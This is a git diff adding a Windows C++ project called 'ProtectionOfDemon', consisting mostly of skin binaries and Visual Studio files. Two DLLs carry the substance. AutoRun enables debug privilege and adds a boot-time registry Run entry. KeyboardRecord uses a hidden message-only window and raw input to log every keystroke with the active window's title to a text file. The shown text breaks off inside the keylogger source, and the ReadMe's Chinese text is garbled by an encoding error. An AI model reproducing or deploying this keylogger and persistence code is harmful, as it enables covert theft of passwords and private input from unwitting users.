diff --git a/ProtectionOfDemon/AutonRun/AutoRun.cpp b/ProtectionOfDemon/AutonRun/AutoRun.cpp
new file mode 100644
index 0000000..048a77b
--- /dev/null
+++ b/ProtectionOfDemon/AutonRun/AutoRun.cpp
@@ -0,0 +1,78 @@
+// AutoRun.cpp : 定义 DLL 应用程序的导出函数。
+//
+
+#include "stdafx.h"
+
+// 头文件
+#pragma comment(lib, "user32.lib")
+#pragma comment(lib, "Advapi32.lib")
+
+
+
+
+// 函数定义
+void ShowError(char *lpszText)
+{
+ char szErr[MAX_PATH] = { 0 };
+ ::wsprintf(szErr, "%s Error!\nError Code Is:%d\n", lpszText, ::GetLastError());
+ ::MessageBox(NULL, szErr, "AutoRun", MB_OK | MB_ICONERROR);
+}
+
+
+BOOL EnableProcessPrivilege()
+{
+ HANDLE hToken;
+ if (!::OpenProcessToken(::GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
+ {
+ ShowError("OpenProcessToken");
+ return FALSE;
+ }
+
+ TOKEN_PRIVILEGES tkp;
+ if (!::LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid)) // 修改进程权限
+ {
+ ShowError("LookupPrivilegeValue");
+ return FALSE;
+ }
+
+ tkp.PrivilegeCount = 1;
+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+ if (!::AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) // 通知系统修改进程权限
+ {
+ ShowError("AdjustTokenPrivileges");
+ return FALSE;
+ }
+
+ return TRUE;
+}
+
+
+BOOL SetRegisterAutoRun(char *lpszValueName, char *lpszFileName, BOOL bCreate)
+{
+ EnableProcessPrivilege();
+ HKEY hKey;
+ if (ERROR_SUCCESS != ::RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey))
+ {
+ ShowError("RegOpenKeyEx");
+ return FALSE;
+ }
+ if (bCreate) // 修改注册表值,实现开机自启
+ {
+ if (ERROR_SUCCESS != ::RegSetValueEx(hKey, lpszValueName, 0, REG_SZ, (BYTE *)lpszFileName, (1 + ::lstrlen(lpszFileName))))
+ {
+ ShowError("RegSetValueEx");
+ }
+ }
+ else // 删除注册表值,取消开机自启
+ {
+ if (ERROR_SUCCESS != ::RegDeleteValue(hKey, lpszValueName))
+ {
+ ShowError("RegDeleteValue");
+ }
+ }
+ ::RegCloseKey(hKey);
+
+ return TRUE;
+}
+
+
diff --git a/ProtectionOfDemon/AutonRun/AutoRun.def b/ProtectionOfDemon/AutonRun/AutoRun.def
new file mode 100644
index 0000000..8cb1f38
--- /dev/null
+++ b/ProtectionOfDemon/AutonRun/AutoRun.def
@@ -0,0 +1,6 @@
+LIBRARY
+
+EXPORTS
+ ; 此处可以是显式导出
+ EnableProcessPrivilege
+ SetRegisterAutoRun
diff --git a/ProtectionOfDemon/AutonRun/AutonRun.vcxproj b/ProtectionOfDemon/AutonRun/AutonRun.vcxproj
new file mode 100644
index 0000000..1890d62
--- /dev/null
+++ b/ProtectionOfDemon/AutonRun/AutonRun.vcxproj
@@ -0,0 +1,110 @@
+锘
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}
+ Win32Proj
+ AutonRun
+ AutoRun
+
+
+
+ DynamicLibrary
+ true
+ v120
+ MultiByte
+ Dynamic
+
+
+ DynamicLibrary
+ false
+ v120_xp
+ true
+ MultiByte
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ false
+
+
+
+ Use
+ Level3
+ Disabled
+ WIN32;_DEBUG;_WINDOWS;_USRDLL;AUTONRUN_EXPORTS;%(PreprocessorDefinitions)
+ true
+
+
+ Windows
+ true
+ AutoRun.def
+
+
+
+
+ Level3
+ Use
+ MaxSpeed
+ true
+ true
+ WIN32;NDEBUG;_WINDOWS;_USRDLL;AUTONRUN_EXPORTS;%(PreprocessorDefinitions)
+ true
+
+
+ Windows
+ true
+ true
+ true
+ AutoRun.def
+
+
+
+
+
+
+
+
+
+
+
+
+ false
+
+
+ false
+
+
+
+
+ Create
+ Create
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/ProtectionOfDemon/AutonRun/AutonRun.vcxproj.filters b/ProtectionOfDemon/AutonRun/AutonRun.vcxproj.filters
new file mode 100644
index 0000000..402126e
--- /dev/null
+++ b/ProtectionOfDemon/AutonRun/AutonRun.vcxproj.filters
@@ -0,0 +1,44 @@
+锘
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;hm;inl;inc;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+
+
+
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+
+
+ 婧愭枃浠
+
+
+
\ No newline at end of file
diff --git a/ProtectionOfDemon/AutonRun/ReadMe.txt b/ProtectionOfDemon/AutonRun/ReadMe.txt
new file mode 100644
index 0000000..283b99c
--- /dev/null
+++ b/ProtectionOfDemon/AutonRun/ReadMe.txt
@@ -0,0 +1,32 @@
+锘========================================================================
+ 鍔ㄦ侀摼鎺ュ簱锛欰utoRun 椤圭洰姒傝堪
+========================================================================
+
+搴旂敤绋嬪簭鍚戝宸蹭负鎮ㄥ垱寤轰簡姝 AutoRun DLL銆
+
+鏈枃浠舵瑕佷粙缁嶇粍鎴 AutoRun 搴旂敤绋嬪簭鐨勬瘡涓枃浠剁殑鍐呭銆
+
+
+AutoRun.vcxproj
+ 杩欐槸浣跨敤搴旂敤绋嬪簭鍚戝鐢熸垚鐨 VC++ 椤圭洰鐨勪富椤圭洰鏂囦欢锛屽叾涓寘鍚敓鎴愯鏂囦欢鐨 Visual C++ 鐨勭増鏈俊鎭紝浠ュ強鏈夊叧浣跨敤搴旂敤绋嬪簭鍚戝閫夋嫨鐨勫钩鍙般侀厤缃拰椤圭洰鍔熻兘鐨勪俊鎭
+
+AutoRun.vcxproj.filters
+ 杩欐槸浣跨敤鈥滃簲鐢ㄧ▼搴忓悜瀵尖濈敓鎴愮殑 VC++ 椤圭洰绛涢夊櫒鏂囦欢銆傚畠鍖呭惈鏈夊叧椤圭洰鏂囦欢涓庣瓫閫夊櫒涔嬮棿鐨勫叧鑱斾俊鎭傚湪 IDE 涓紝閫氳繃杩欑鍏宠仈锛屽湪鐗瑰畾鑺傜偣涓嬩互鍒嗙粍褰㈠紡鏄剧ず鍏锋湁鐩镐技鎵╁睍鍚嶇殑鏂囦欢銆備緥濡傦紝鈥.cpp鈥濇枃浠朵笌鈥滄簮鏂囦欢鈥濈瓫閫夊櫒鍏宠仈銆
+
+AutoRun.cpp
+ 杩欐槸涓 DLL 婧愭枃浠躲
+
+ 姝 DLL 鍦ㄥ垱寤烘椂涓嶅鍑轰换浣曠鍙枫傚洜姝わ紝鐢熸垚鏃朵笉浼氫骇鐢 .lib 鏂囦欢銆傚鏋滃笇鏈涙椤圭洰鎴愪负鍏朵粬鏌愪釜椤圭洰鐨勯」鐩緷璧栭」锛屽垯闇瑕佹坊鍔犱唬鐮佷互浠 DLL 瀵煎嚭鏌愪簺绗﹀彿锛屼互渚夸骇鐢熶竴涓鍑哄簱锛屾垨鑰咃紝涔熷彲浠ュ湪椤圭洰鈥滃睘鎬ч〉鈥濆璇濇涓殑鈥滈摼鎺ュ櫒鈥濇枃浠跺す涓紝灏嗏滃父瑙勨濆睘鎬ч〉涓婄殑鈥滃拷鐣ヨ緭鍏ュ簱鈥濆睘鎬ц缃负鈥滄槸鈥濄
+
+/////////////////////////////////////////////////////////////////////////////
+鍏朵粬鏍囧噯鏂囦欢:
+
+StdAfx.h, StdAfx.cpp
+ 杩欎簺鏂囦欢鐢ㄤ簬鐢熸垚鍚嶄负 AutoRun.pch 鐨勯缂栬瘧澶 (PCH) 鏂囦欢鍜屽悕涓 StdAfx.obj 鐨勯缂栬瘧绫诲瀷鏂囦欢銆
+
+/////////////////////////////////////////////////////////////////////////////
+鍏朵粬娉ㄩ噴:
+
+搴旂敤绋嬪簭鍚戝浣跨敤鈥淭ODO:鈥濇敞閲婃潵鎸囩ず搴旀坊鍔犳垨鑷畾涔夌殑婧愪唬鐮侀儴鍒嗐
+
+/////////////////////////////////////////////////////////////////////////////
diff --git a/ProtectionOfDemon/AutonRun/dllmain.cpp b/ProtectionOfDemon/AutonRun/dllmain.cpp
new file mode 100644
index 0000000..f782a01
--- /dev/null
+++ b/ProtectionOfDemon/AutonRun/dllmain.cpp
@@ -0,0 +1,19 @@
+// dllmain.cpp : 定义 DLL 应用程序的入口点。
+#include "stdafx.h"
+
+BOOL APIENTRY DllMain( HMODULE hModule,
+ DWORD ul_reason_for_call,
+ LPVOID lpReserved
+ )
+{
+ switch (ul_reason_for_call)
+ {
+ case DLL_PROCESS_ATTACH:
+ case DLL_THREAD_ATTACH:
+ case DLL_THREAD_DETACH:
+ case DLL_PROCESS_DETACH:
+ break;
+ }
+ return TRUE;
+}
+
diff --git a/ProtectionOfDemon/AutonRun/stdafx.cpp b/ProtectionOfDemon/AutonRun/stdafx.cpp
new file mode 100644
index 0000000..282ca1e
--- /dev/null
+++ b/ProtectionOfDemon/AutonRun/stdafx.cpp
@@ -0,0 +1,8 @@
+// stdafx.cpp : 只包括标准包含文件的源文件
+// AutoRun.pch 将作为预编译头
+// stdafx.obj 将包含预编译类型信息
+
+#include "stdafx.h"
+
+// TODO: 在 STDAFX.H 中
+// 引用任何所需的附加头文件,而不是在此文件中引用
diff --git a/ProtectionOfDemon/AutonRun/stdafx.h b/ProtectionOfDemon/AutonRun/stdafx.h
new file mode 100644
index 0000000..9ea5d30
--- /dev/null
+++ b/ProtectionOfDemon/AutonRun/stdafx.h
@@ -0,0 +1,16 @@
+// stdafx.h : 标准系统包含文件的包含文件,
+// 或是经常使用但不常更改的
+// 特定于项目的包含文件
+//
+
+#pragma once
+
+#include "targetver.h"
+
+#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的信息
+// Windows 头文件:
+#include
+
+
+
+// TODO: 在此处引用程序需要的其他头文件
diff --git a/ProtectionOfDemon/AutonRun/targetver.h b/ProtectionOfDemon/AutonRun/targetver.h
new file mode 100644
index 0000000..aadba2f
--- /dev/null
+++ b/ProtectionOfDemon/AutonRun/targetver.h
@@ -0,0 +1,8 @@
+#pragma once
+
+// 包括 SDKDDKVer.h 将定义可用的最高版本的 Windows 平台。
+
+// 如果要为以前的 Windows 平台生成应用程序,请包括 WinSDKVer.h,并将
+// WIN32_WINNT 宏设置为要支持的平台,然后再包括 SDKDDKVer.h。
+
+#include
diff --git a/ProtectionOfDemon/Debug/Skins/AlphaOS.ssk b/ProtectionOfDemon/Debug/Skins/AlphaOS.ssk
new file mode 100644
index 0000000..1a4eafc
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/AlphaOS.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/Anion.ssk b/ProtectionOfDemon/Debug/Skins/Anion.ssk
new file mode 100644
index 0000000..68204e4
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/Anion.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/AquaOS.ssk b/ProtectionOfDemon/Debug/Skins/AquaOS.ssk
new file mode 100644
index 0000000..ce38836
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/AquaOS.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/Aura.ssk b/ProtectionOfDemon/Debug/Skins/Aura.ssk
new file mode 100644
index 0000000..22864e8
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/Aura.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/Beige.ssk b/ProtectionOfDemon/Debug/Skins/Beige.ssk
new file mode 100644
index 0000000..dcb0c5d
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/Beige.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/BlueStandard.ssk b/ProtectionOfDemon/Debug/Skins/BlueStandard.ssk
new file mode 100644
index 0000000..7f0424a
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/BlueStandard.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/Christmas.ssk b/ProtectionOfDemon/Debug/Skins/Christmas.ssk
new file mode 100644
index 0000000..847d763
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/Christmas.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/DameK UltraBlue.ssk b/ProtectionOfDemon/Debug/Skins/DameK UltraBlue.ssk
new file mode 100644
index 0000000..0868efc
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/DameK UltraBlue.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/Devoir.ssk b/ProtectionOfDemon/Debug/Skins/Devoir.ssk
new file mode 100644
index 0000000..b47c11a
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/Devoir.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/FauxS-TOON.ssk b/ProtectionOfDemon/Debug/Skins/FauxS-TOON.ssk
new file mode 100644
index 0000000..9af9d93
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/FauxS-TOON.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/Gloss.ssk b/ProtectionOfDemon/Debug/Skins/Gloss.ssk
new file mode 100644
index 0000000..e93cf32
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/Gloss.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/Longhorn Silver.ssk b/ProtectionOfDemon/Debug/Skins/Longhorn Silver.ssk
new file mode 100644
index 0000000..6916d22
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/Longhorn Silver.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/Longhorn.ssk b/ProtectionOfDemon/Debug/Skins/Longhorn.ssk
new file mode 100644
index 0000000..1d6c7b9
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/Longhorn.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/Longhorn5203.ssk b/ProtectionOfDemon/Debug/Skins/Longhorn5203.ssk
new file mode 100644
index 0000000..503e0ef
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/Longhorn5203.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/MAC.ssk b/ProtectionOfDemon/Debug/Skins/MAC.ssk
new file mode 100644
index 0000000..da7fdfd
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/MAC.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/MSN Messenger.ssk b/ProtectionOfDemon/Debug/Skins/MSN Messenger.ssk
new file mode 100644
index 0000000..cdc4d5f
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/MSN Messenger.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/Mako.ssk b/ProtectionOfDemon/Debug/Skins/Mako.ssk
new file mode 100644
index 0000000..870f32f
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/Mako.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/Noire.ssk b/ProtectionOfDemon/Debug/Skins/Noire.ssk
new file mode 100644
index 0000000..64aa6d7
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/Noire.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/OSXP.ssk b/ProtectionOfDemon/Debug/Skins/OSXP.ssk
new file mode 100644
index 0000000..12d27ae
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/OSXP.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/Phenom.ssk b/ProtectionOfDemon/Debug/Skins/Phenom.ssk
new file mode 100644
index 0000000..fb4ef48
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/Phenom.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/PurpleClass.ssk b/ProtectionOfDemon/Debug/Skins/PurpleClass.ssk
new file mode 100644
index 0000000..cb6675f
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/PurpleClass.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/RedCopper.ssk b/ProtectionOfDemon/Debug/Skins/RedCopper.ssk
new file mode 100644
index 0000000..6fe73bc
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/RedCopper.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/RedStar.ssk b/ProtectionOfDemon/Debug/Skins/RedStar.ssk
new file mode 100644
index 0000000..c1bccb3
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/RedStar.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/RisingDragon.ssk b/ProtectionOfDemon/Debug/Skins/RisingDragon.ssk
new file mode 100644
index 0000000..fa47eec
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/RisingDragon.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/Royale.ssk b/ProtectionOfDemon/Debug/Skins/Royale.ssk
new file mode 100644
index 0000000..9762f0c
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/Royale.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/Skin.ssk b/ProtectionOfDemon/Debug/Skins/Skin.ssk
new file mode 100644
index 0000000..51d3c85
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/Skin.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/SlickOS2.ssk b/ProtectionOfDemon/Debug/Skins/SlickOS2.ssk
new file mode 100644
index 0000000..4eeb55b
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/SlickOS2.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/Steel.ssk b/ProtectionOfDemon/Debug/Skins/Steel.ssk
new file mode 100644
index 0000000..5ef4a60
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/Steel.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/UMskin.ssk b/ProtectionOfDemon/Debug/Skins/UMskin.ssk
new file mode 100644
index 0000000..3fb5b29
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/UMskin.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/Vista.ssk b/ProtectionOfDemon/Debug/Skins/Vista.ssk
new file mode 100644
index 0000000..5a62c24
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/Vista.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/XP-Home.ssk b/ProtectionOfDemon/Debug/Skins/XP-Home.ssk
new file mode 100644
index 0000000..3286e23
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/XP-Home.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/XP-Luna.ssk b/ProtectionOfDemon/Debug/Skins/XP-Luna.ssk
new file mode 100644
index 0000000..40e1902
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/XP-Luna.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/XP-Metallic.ssk b/ProtectionOfDemon/Debug/Skins/XP-Metallic.ssk
new file mode 100644
index 0000000..6836d8c
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/XP-Metallic.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/avfone.ssk b/ProtectionOfDemon/Debug/Skins/avfone.ssk
new file mode 100644
index 0000000..158e767
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/avfone.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/bOzen.ssk b/ProtectionOfDemon/Debug/Skins/bOzen.ssk
new file mode 100644
index 0000000..5818231
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/bOzen.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/bbq.ssk b/ProtectionOfDemon/Debug/Skins/bbq.ssk
new file mode 100644
index 0000000..f0d787b
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/bbq.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/blue.ssk b/ProtectionOfDemon/Debug/Skins/blue.ssk
new file mode 100644
index 0000000..916c2b6
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/blue.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/default.ssk b/ProtectionOfDemon/Debug/Skins/default.ssk
new file mode 100644
index 0000000..6a69331
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/default.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/dogmax.ssk b/ProtectionOfDemon/Debug/Skins/dogmax.ssk
new file mode 100644
index 0000000..1a33e9e
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/dogmax.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/dogmax2.ssk b/ProtectionOfDemon/Debug/Skins/dogmax2.ssk
new file mode 100644
index 0000000..b32a548
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/dogmax2.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/gold.ssk b/ProtectionOfDemon/Debug/Skins/gold.ssk
new file mode 100644
index 0000000..7ec312d
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/gold.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/green.ssk b/ProtectionOfDemon/Debug/Skins/green.ssk
new file mode 100644
index 0000000..889d768
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/green.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/machine.ssk b/ProtectionOfDemon/Debug/Skins/machine.ssk
new file mode 100644
index 0000000..296a58f
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/machine.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/santa.ssk b/ProtectionOfDemon/Debug/Skins/santa.ssk
new file mode 100644
index 0000000..5037f4c
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/santa.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/spring.ssk b/ProtectionOfDemon/Debug/Skins/spring.ssk
new file mode 100644
index 0000000..9057411
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/spring.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/thinblue.ssk b/ProtectionOfDemon/Debug/Skins/thinblue.ssk
new file mode 100644
index 0000000..08817b6
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/thinblue.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/vladstudio.ssk b/ProtectionOfDemon/Debug/Skins/vladstudio.ssk
new file mode 100644
index 0000000..edec64d
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/vladstudio.ssk differ
diff --git a/ProtectionOfDemon/Debug/Skins/xp_corona.ssk b/ProtectionOfDemon/Debug/Skins/xp_corona.ssk
new file mode 100644
index 0000000..fb14c4c
Binary files /dev/null and b/ProtectionOfDemon/Debug/Skins/xp_corona.ssk differ
diff --git a/ProtectionOfDemon/Debug/mfc120d.dll b/ProtectionOfDemon/Debug/mfc120d.dll
new file mode 100644
index 0000000..c9936db
Binary files /dev/null and b/ProtectionOfDemon/Debug/mfc120d.dll differ
diff --git a/ProtectionOfDemon/Debug/msvcr120.dll b/ProtectionOfDemon/Debug/msvcr120.dll
new file mode 100644
index 0000000..8c36149
Binary files /dev/null and b/ProtectionOfDemon/Debug/msvcr120.dll differ
diff --git a/ProtectionOfDemon/Debug/msvcr120d.dll b/ProtectionOfDemon/Debug/msvcr120d.dll
new file mode 100644
index 0000000..6f86451
Binary files /dev/null and b/ProtectionOfDemon/Debug/msvcr120d.dll differ
diff --git a/ProtectionOfDemon/Debug/protectionofdemonconfig.ini b/ProtectionOfDemon/Debug/protectionofdemonconfig.ini
new file mode 100644
index 0000000..fa59a21
--- /dev/null
+++ b/ProtectionOfDemon/Debug/protectionofdemonconfig.ini
@@ -0,0 +1,4 @@
+[SKIN]
+load=1
+name=XP-Home.ssk
+
diff --git a/ProtectionOfDemon/Debug/skinppwtl.dll b/ProtectionOfDemon/Debug/skinppwtl.dll
new file mode 100644
index 0000000..faed7d4
Binary files /dev/null and b/ProtectionOfDemon/Debug/skinppwtl.dll differ
diff --git a/ProtectionOfDemon/KeyboardRecord/KeyboardRecord.aps b/ProtectionOfDemon/KeyboardRecord/KeyboardRecord.aps
new file mode 100644
index 0000000..c18c51f
Binary files /dev/null and b/ProtectionOfDemon/KeyboardRecord/KeyboardRecord.aps differ
diff --git a/ProtectionOfDemon/KeyboardRecord/KeyboardRecord.cpp b/ProtectionOfDemon/KeyboardRecord/KeyboardRecord.cpp
new file mode 100644
index 0000000..93d311e
--- /dev/null
+++ b/ProtectionOfDemon/KeyboardRecord/KeyboardRecord.cpp
@@ -0,0 +1,207 @@
+// KeyboardRecord.cpp : 定义 DLL 应用程序的导出函数。
+//
+
+#include "stdafx.h"
+#include "resource.h"
+
+/*
+由于接收消息必须要有hwnd,也就是需要有个窗口对应才能接收消息,但在Dll中不需要这个窗口,却又想要能够接收消息。
+这样的话,就可以在Dll中创建一个“消息窗口(Message - Only窗口)”,这种窗口仅仅用于处理消息,而不会被显示出来。
+在创建时指定CreateWindowEx的参数hwndParent为HWND_MESSAGE.或在创建窗口后SetParent(hWnd, HWND_MESSAGE);
+即可建立一个“消息窗口”
+*/
+
+// 头文件
+#include "VirtualKeyToAscii.h"
+#pragma comment(lib, "user32.lib")
+#pragma comment(lib, "Gdi32.lib")
+
+// 函数声明
+BOOL CALLBACK MessageOnlyWinProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam);
+
+// 全局变量
+extern HMODULE g_hModule;
+HWND g_hWnd = NULL;
+BOOL g_bKeyboardRecord = FALSE;
+char g_szKeyboardRecordFileName[MAX_PATH] = {0};
+CRITICAL_SECTION g_stCriticalSection = {0};
+
+// 函数定义
+void ShowError(char *lpszText)
+{
+ char szErr[MAX_PATH] = { 0 };
+ ::wsprintf(szErr, "%s Error!\nError Code Is:%d\n", lpszText, ::GetLastError());
+ ::MessageBox(NULL, szErr, "KeyboardRecord", MB_OK | MB_ICONERROR);
+}
+
+
+void InitRawInput(HWND hWnd)
+{
+ RAWINPUTDEVICE rid;
+ rid.usUsagePage = 0x01;
+ rid.usUsage = 0x06;
+ rid.dwFlags = RIDEV_INPUTSINK;
+ rid.hwndTarget = hWnd;
+ if (!::RegisterRawInputDevices(&rid, 1, sizeof(rid)))
+ {
+ ::ShowError("RegisterRawInputDevices");
+ }
+}
+
+
+void WriteIntoFile(char *lpszText, int iLen)
+{
+ char szFileName[MAX_PATH] = {0};
+ if (0 >= ::lstrlen(g_szKeyboardRecordFileName))
+ {
+ ::lstrcpy(szFileName, "keyboardrecord.txt");
+ }
+ else
+ {
+ ::lstrcpy(szFileName, g_szKeyboardRecordFileName);
+ }
+
+ // 进入临界区
+ ::EnterCriticalSection(&g_stCriticalSection);
+
+ // 打开文件
+ HANDLE hFile = ::CreateFile(szFileName, GENERIC_WRITE, FILE_SHARE_READ, NULL,
+ OPEN_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, NULL);
+ if (INVALID_HANDLE_VALUE == hFile)
+ {
+ // 离开临界区
+ ::LeaveCriticalSection(&g_stCriticalSection);
+
+ ShowError("CreateFile");
+ return;
+ }
+ // 移动文件指针到文件最后
+ ::SetFilePointer(hFile, 0, NULL, FILE_END);
+ // 写入数据
+ DWORD dwWriteBytes = 0;
+ ::WriteFile(hFile, lpszText, iLen, &dwWriteBytes, NULL);
+ // 关闭句柄
+ ::CloseHandle(hFile);
+
+ // 离开临界区
+ ::LeaveCriticalSection(&g_stCriticalSection);
+}
+
+
+UINT WriteThreadProc(LPVOID lpVoid)
+{
+ char *lpszText = (char *)lpVoid;
+ WriteIntoFile(lpszText, ::lstrlen(lpszText));
+ // 释放内存
+ delete[] lpszText;
+ lpszText = NULL;
+
+ return 0;
+}
+
+
+void InputRecord(LPARAM lParam, BOOL bRecord)
+{
+ if (!bRecord)
+ {
+ return;
+ }
+ // 先获取输入的大小
+ UINT uiSize = 0;
+ ::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &uiSize, sizeof(RAWINPUTHEADER));
+ // 再根据内容大小获取输入内容
+ BYTE *lpBuf = new BYTE[uiSize];
+ ::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpBuf, &uiSize, sizeof(RAWINPUTHEADER));
+ RAWINPUT *pRawInput = (RAWINPUT *)lpBuf;
+ if (RIM_TYPEKEYBOARD == pRawInput->header.dwType)
+ {
+ // WM_KEYDOWN --> 普通按键 WM_SYSKEYDOWN --> 系统按键(指的是ALT)
+ if (WM_KEYDOWN == pRawInput->data.keyboard.Message ||
+ WM_SYSKEYDOWN == pRawInput->data.keyboard.Message)
+ {
+ char szKey[MAX_PATH] = { 0 };
+ char szTitle[MAX_PATH] = { 0 };
+ char *pText = new char[MAX_PATH]; // 注意:记得释放内存
+ // 获取按键,虚拟键码转ASCII码
+ ::lstrcpy(szKey, GetKeyName(pRawInput->data.keyboard.VKey));
+ // 获取最上层窗口句柄,即激活窗口的句柄,并获取窗口标题
+ HWND hForegroundWnd = ::GetForegroundWindow();
+ ::GetWindowText(hForegroundWnd, szTitle, MAX_PATH);
+ // 创建多线程同步写入文件
+ ::wsprintf(pText, "[%s] %s\r\n", szTitle, szKey);
+ ::CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WriteThreadProc, (LPVOID)pText, 0, NULL);
+ }
+ }
+ // 释放内存
+ delete[] lpBuf;
+ lpBuf = NULL;
+}
+
+
